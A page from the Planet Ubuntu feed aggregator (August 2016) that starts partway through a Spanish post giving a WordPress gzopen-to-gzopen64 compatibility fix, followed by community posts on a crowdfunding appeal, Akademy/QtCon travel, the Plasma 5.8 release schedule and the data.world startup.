  1. Debes editar el archivo que se encuentra dentro de la carpeta wp-admin/includes/: sudo nano /carpetadondeseencuentresusitio/wp-admin/includes/class-pclzip.php
  2. Encontrar la linea if (!function_exists('gzopen')) y reemplazar gzopen por gzopen64.

Con ese pequeño cambio podrás seguir utilizando sin ningún problema el plugin.

Ahora, ¿Porqué da ese error?, en las últimas versiones de Ubuntu gzopen (función de PHP que nos permite abrir un archivo comprimido en .gz), solo está incluido para arquitectura de 64bits, es por esta razón que es necesario reemplazar gzopen por gzopen64 para que podamos importar todos esos archivos que se encuentran comprimido a través de este tipo de formato.

Happy Hacking!


21 Aug 2016 5:37pm GMT

Valorie Zimmerman: Help a friend?

Hello, if you are reading this, and have a some extra money, consider helping out a young friend of mine whose mother needs a better defense attorney.

In India, where they live, the resources all seem stacked against her. I've tried to help, and hope you will too.

Himanshu says, Hi, I recently started an online crowd funding campaign to help my mother with legal funds who is in the middle of divorce and domestic violence case.

https://www.ketto.org/mother

Please support and share this message. Thanks.

21 Aug 2016 7:55am GMT

18 Aug 2016

feedPlanet Ubuntu

Valorie Zimmerman: Weeeeee! Akademy and Qtcon approaching fast



Thanks to the Ubuntu Community Fund, I'm able to fly to Berlin and attend, and volunteer too. Thanks so much, Ubuntu community for backing me, and to the KDE e.V. and KDE community for creating and running Akademy.

This year, Akademy is part of Qtcon, which should be exciting. Lots of our friends will be there, from KDAB, VLC, Qt and FSFE. And of course Kubuntu will do our annual face-to-face meeting, with as many of us as can get to Berlin. It should be hot, exhausting, exciting, fun, and hard work, all rolled together in one of the world's great cities.

Today we got the news that Canonical has become a KDE e.V. Patron. This is most welcome news, as the better the cooperation between distributions and KDE, the better software we all have. This comes soon after SuSE's continuing support was affirmed on the growing list of Patrons.

Freedom and generosity is what it's all about!

18 Aug 2016 11:17pm GMT

Jonathan Riddell: Plasma Release Schedule Updated

I've made some changes to the Plasma 5.8 release schedule. We had a request from our friends at openSUSE to bring the release sooner by a couple of weeks so they could sneak it into their release and everyone could enjoy the LTS goodness. As openSUSE are long term supporters and contributors to KDE as well as patrons of KDE the Plasma team chatted and decided to slide the dates around to help out. Release is now on the first Tuesday in October.

Facebooktwittergoogle_pluslinkedinby feather

18 Aug 2016 9:14pm GMT

Jonathan Riddell: Space Left at the (Non)Party Flat at Akademy/QtCon

Akademy is this year at QtCon along with FSF-E, Qt, VLC and others.

I booked a flat on AirBNB near to the Akademy location and there's still a bed or two left available.

Wed Aug 31 CHECK IN 2:00 PM

Thu Sep 08 CHECK OUT 11:00 AM

Cost: £360 each, about €420 each

If you'd like to star with cool KDE people in a (gentle) party flat send me an e-mail.



Facebooktwittergoogle_pluslinkedinby feather

18 Aug 2016 3:17pm GMT

Jono Bacon: Opening Up Data Science with data.world

Earlier this year when I was in Austin, my friend Andy Sernovitz introduced me to a new startup called data.world.

What caught my interest is that they are building a platform to make data science and discovery easier, more accessible, and more collaborative. I love these kinds of big juicy challenges!

Recently I signed them up as a client to help them build their community, and I want to share a few words about why I think they are important, not just for data science fans, but from a wider scientific discovery perspective.

Screen Shot 2016-08-15 at 3.35.31 AM

Armchair Discovery

Data plays a critical role in the world. Buried in rows and rows of seemingly flat content are patterns, trends, and discoveries that can help us to learn, explore new ideas, and work more effectively.

The work that leads to these discoveries is often bringing together different data sets to explore and reach new conclusions. As an example, traffic accident data for a single town is interesting, but when we combine it with data sets for national/international traffic accidents, insurance claims, drink driving, and more, we can often find patterns that can help us to influence and encourage new behavior and technology.

Screen Shot 2016-08-15 at 3.36.10 AM

Many of these discoveries are hiding in plain sight. Sadly, while talented data scientists are able to pull together these different data sets, it is often hard and laborious work. Surely if we make this work easier, more accessible, consistent, and available to all we can speed up innovation and discovery?

Exactly.

As history has taught us, the right mixture of access, tooling, and community can have a tremendous impact. We have seen examples of this in open source (e.g. GitLab / GitHub), funding (e.g. Kickstarter / Indiegogo), and security (e.g. HackerOne).

data.world are doing this for data.

Data Science is Tough

There are four key areas where I think data.world can make a potent impact:

  1. Access - while there is lots of data in the world, access is inconsistent. Data is often spread across different sites, formats, and accessible to different people. We can bring this data together into a consistent platform, available to everyone.
  2. Preparation - much of the work data scientists perform is learning and prepping datasets for use. This work should be simplified, done once, and then shared with everyone, as opposed to being performed by each person who consumes the data.
  3. Collaboration - a lot of data science is fairly ad-hoc in how people work together. In much the same way open source has helped create common approaches for code, there is potential to do the same with data.
  4. Community - there is a great opportunity to build a diverse global community, not just of data scientists, but also organizations, charities, activists, and armchair sleuths who, armed with the right tools and expertise, could make many meaningful discoveries.

This is what data.world is building and I find the combination of access, platform, and network effects of data and community particularly exciting.

Unlocking Curiosity

If we look at the most profound impacts technology has had in recent years it is in bubbling people's curiosity and creativity to the surface.

When we build community-based platforms that tap into this curiosity and creativity, we generate new ideas and approaches. New ideas and approaches then become the foundation for changing how the world thinks and operates.

screencapture-data-world-1471257465804

As one such example, open source tapped the curiosity and creativity of developers to produce a rich patchwork of software and tooling, but more importantly, a culture of openness and collaboration. While it is easy to see the software as the primary outcome, the impact of open source has been much deeper and impacted skills, education, career opportunities, business, collaboration, and more.

Enabling the same curiosity and creativity with the wealth of data we have in the world is going to be an exciting journey. Stay tuned.

The post Opening Up Data Science with data.world appeared first on Jono Bacon.

18 Aug 2016 3:00pm GMT